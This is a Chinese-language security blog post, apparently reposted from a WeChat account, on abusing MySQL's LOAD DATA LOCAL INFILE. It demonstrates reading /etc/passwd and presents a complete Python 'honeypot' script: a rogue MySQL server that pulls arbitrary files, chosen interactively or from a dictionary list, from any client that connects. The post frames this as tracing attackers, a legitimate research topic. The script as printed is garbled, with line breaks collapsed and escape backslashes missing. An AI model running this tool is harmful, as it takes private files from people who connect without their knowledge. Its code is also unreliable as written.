MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

admin 2023年8月7日13:06:43评论141 views字数 3958阅读13分11秒阅读模式

杂谈

其实,之前热心网友就分享过一篇Mysql蜜罐的文章进行科普,但是其实里面并没有比较详细的阐述相关的技术细节,最近又有热心网友私信,故,今天做个稍微详细的补充。

实验一:LOAD DATA INFILE用法演示

基础知识

通常情况下,如果连接到MySQL数据库,在确认开启了local_infile情况下,你可以使用load data local infile将本地文件内容写入到数据库表中,由此,就有热心网友产生了一个奇妙的想法,那就是让你主动连接到MySQL数据库之后,读取你电脑中的文件,实现对黑客进行溯源。

环境

  • 虚拟机1:一台部署mysql(可以Docker一键搭建)

  • 虚拟机2:一台用来连接(这里使用kali linux)

虚拟机1:搭建MySQL环境

我们这里使用的CentOS的虚拟机

如果你的CentOS没有安装Docker,就百度一下,这里就不详细介绍了

现在,我们确认已经安装好docker了,使用docker获取mysql的镜像

docker pull mysql:latest
docker pull mysql:latest


MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

这里创建的MySQL数据库账户是root密码是123456

我们也可以通过Windows电脑里的Navicat进行连接

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

我们可以这里创建一个名为test的数据库,以便进行下面的测试

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

同时建一个test的数据表

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

其中字段也是test

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

虚拟机2:连接MySQL数据库

现在,我们使用第二台虚拟机,我们这里使用的是Kali Linux

mysql -h 192.168.244.129 -u root -p

这里-p之后输入密码,就是我们刚才使用Docker部署的MySQL的root密码,即123456

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

查看local_infile是否启用

show global variables like 'local_infile';


MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

我们这里看到是禁用的状态,输入下面的命令进行启用

set global local_infile=1;

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

可以看到现在是已经启用了的

现在,我们做一些大胆的尝试,尝试直接写入本地文件,我提前在桌面上创建了一个fancypig.txt的文件

mousepad fancypig.txt

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

之后我们在Kali Linux终端里,使用下面的命令尝试读取桌面的文件写入数据库

load data local infile '/home/fancypig/桌面/fancypig.txt' into table test fields terminated by 'n';

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

之后,我们去navicat上看下,居然读取进去了

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

当然,你还可以在疯狂一些,比方说读取一些特定的文件,如/etc/passwd

load data local infile '/etc/passwd' into table test fields terminated by 'n';

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

可以看到/etc/passwd也被读取进去了

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

与我们命令行输入的cat /etc/passwd读取到的内容完全一致

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

总结

至此,实验结束,我们发现了一个有趣的事情,那就是,连接到MySQL之后,可以使用load data local infile方式任意读取电脑中的文件,这也就是为什么说,如果你构造一个MySQL蜜罐,可以主动执行上述命令,在别人连接到你的蜜罐之后,就自动读取电脑中的一些资料,从而进行溯源。


如果你深入研究,可以通过Wireshark进一步分析MySQL协议

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

可以看到每个命令在流量中对应的关系

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

之后便可以尝试伪造一个MySQL的服务


实验二:搭建MySQL蜜罐

基于上面的知识背景,我们尝试制作一个MySQL的蜜罐,其实就是使用socket发送刚才我们看到的wireshark中左侧的16进制字符来模拟MySQL交互

脚本代码

MysqlHoneyPot.py

# -*- coding: utf-8 -*-import socketimport osimport sysfrom pathlib import Pathimport platformclass MySQLFileReader:
def __init__(self, port): self.port = port self.sv = socket.socket() self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sv.bind(("", port)) self.sv.listen(5)
def mysql_get_file_content(self, filename): conn, address = self.sv.accept() print(f"收到连接: {address[0]}") logpath = os.path.abspath('.') + "/log/" + address[0] if not os.path.exists(logpath): os.makedirs(logpath)
server_version = b"x0ax35x2ex35x2ex35x33" if platform.system() == "Linux": server_version = b"x0ax35x2ex37x2ex32x39"
conn.sendall(b"x4ax00x00x00" + server_version + b"x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00") conn.recv(9999) conn.sendall(b"x07x00x00x02x00x00x00x02x00x00x00") conn.recv(9999)
wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"x00x00x01xFB" + filename.encode() conn.sendall(wantfile) content = conn.recv(9999) conn.close()
if len(content) > 4: content_str = content.decode() with open(logpath + "/" + Path(filename).name, "w") as txt: txt.write(content_str) print(f"文件内容: n{content_str}") return True else: return False
def read_files_from_input(self): print(f"已在 {self.port} 端口启用MySQL蜜罐") while True: filename = input("请输入接下来你想读的文件名 (直接按回车退出): ") if filename == "": break res = self.mysql_get_file_content(filename) if res: print(f"文件已保存 ---> {filename}") else: print(f"文件未找到 ---> {filename}")
def read_files_from_dict(self, dict_file): print(f"已在 {self.port} 端口启用MySQL蜜罐") with open(dict_file) as dicc: for line in dicc.readlines(): line = line.strip("n") res = self.mysql_get_file_content(line) if res: print(f"文件已保存 ---> {line}") else: print(f"文件未找到 ---> {line}")

if __name__ == "__main__": port = int(input("请输入监听端口号: ")) mode = input('''请选择读取模式: 【1】从输入读取文件【2】从字典读取文件''')
mysql_file_reader = MySQLFileReader(port)
if mode == '1': mysql_file_reader.read_files_from_input() elif mode == '2': dict_file = input("请输入字典文件名: ") mysql_file_reader.read_files_from_dict(dict_file) else: print("无效的模式选择,请重新运行程序并输入正确的模式。")

使用演

启动MySQL蜜罐

python3 MysqlHoneyPot.py

自定义端口选择3306

我们这里会模拟黑客使用Windows电脑连接,我预先放置一个pass.txt文件在电脑根目录下,等下看看能否让黑客连接MySQL蜜罐后,验证是否可以读取到这个文件

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

我们现在启动蜜罐,并填入我们要读取的文件路径

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

接下来,我们模拟黑客的操作,通常情况下黑客,会去扫描服务器的开放端口,这时发现有一个开放的3306端口,上面正运行着MySQL数据库

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

黑客通常会对MySQL数据库进行弱口令爆破,之后会发现MySQL数据库是没有密码的

然后我们这里模拟黑客进行连接,使用navicat,通常情况下,我们会进行测试连接

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

一旦点击,我们可以看到终端上已经显示到文件的内容了

MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客






原文始发于微信公众号(K0ne安全团队):MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月7日13:06:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客http://cn-sec.com/archives/1932895.html

发表评论

匿名网友 填写信息